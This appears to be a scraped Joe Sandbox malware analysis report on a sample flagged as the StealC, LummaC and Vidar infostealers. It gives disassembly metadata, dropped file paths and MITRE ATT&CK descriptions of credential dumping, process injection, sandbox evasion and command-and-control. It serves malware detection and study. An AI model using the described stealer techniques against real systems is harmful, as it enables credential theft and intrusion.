free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4F0A4D), ref: 6C54B67F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 98b30e88226712c6fdd222ef8a24d0d66e09c3d4bc33dea989b3e6c0ee523c3b
Instruction ID: 30f5f94d01753f81a485a2b2270ac62af0c66f00e8c8fc5a0dd6294262e6309c
Opcode Fuzzy Hash: 98b30e88226712c6fdd222ef8a24d0d66e09c3d4bc33dea989b3e6c0ee523c3b
Instruction Fuzzy Hash: C531F271A016168FDB10EF69CC4466EBBB6FF80314F16CA29C8069B311EB31E915CBA0

Function 6C51F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C51F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C51F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C51F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C51F668

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: be3a243fdb9f20e2c04e859f8acae0563b30feb3ee91aa0ce2e28dc6a7d40d9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 47315071A042149FD714CF19CCC4A9E77B9EBC8358B158A39EA498BF05E731F9448B90

Function 6C4FB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4FB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6C4FB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4FB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FB9B9

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: ee1bd47fb49cfd3f782fcac655e16cbc98ee7b85f3b81a92e1137c0a14144275
Instruction ID: ecc4ecd46a8b82ede0164a5bbb7897d93aec13b815176254cd1a7db2aef8a984
Opcode Fuzzy Hash: ee1bd47fb49cfd3f782fcac655e16cbc98ee7b85f3b81a92e1137c0a14144275
Instruction Fuzzy Hash: BB114FB1A002059FCB04DF69DC84CAFB7F9FF98314B14853AE969D3711E731E9158AA1

Function 6C5326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5326C1
free.MOZGLUE(?), ref: 6C5326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5326FF
free.MOZGLUE ref: 6C53270D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 8f06a9abefb0afb2a1ec8d54dc935166f606124d40c2a35db72c68aa59a7ee99
Instruction ID: a0ba2a24ddc913d4c67be67181d0a97bb16d4f965b71972ff01c22ff5bcac57d
Opcode Fuzzy Hash: 8f06a9abefb0afb2a1ec8d54dc935166f606124d40c2a35db72c68aa59a7ee99
Instruction Fuzzy Hash: 90F0F9B27016105BEB009A59DC8895B73A9FF41258B510035EA1EC3B03FB31F918C6E6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FdjDPFGTZS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIIJDAAAAKFHIDAAAKJJEGDH

C:\ProgramData\CAFIEBKK

C:\ProgramData\CBKJKJDBFIIDHJKEHJEHIIIDAK

C:\ProgramData\CGIEGHJE

C:\ProgramData\EHJKFCGHIDHCBGDHJKEB

C:\ProgramData\GHJEGCAEGIIIDHIEBKEB

C:\ProgramData\IDGIJEGHDAECAKECAFCAKFCGDA

C:\ProgramData\JKJDAEBFCBKECBGDBFCFBKKKFH

Windows Analysis Report
FdjDPFGTZS.exe

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre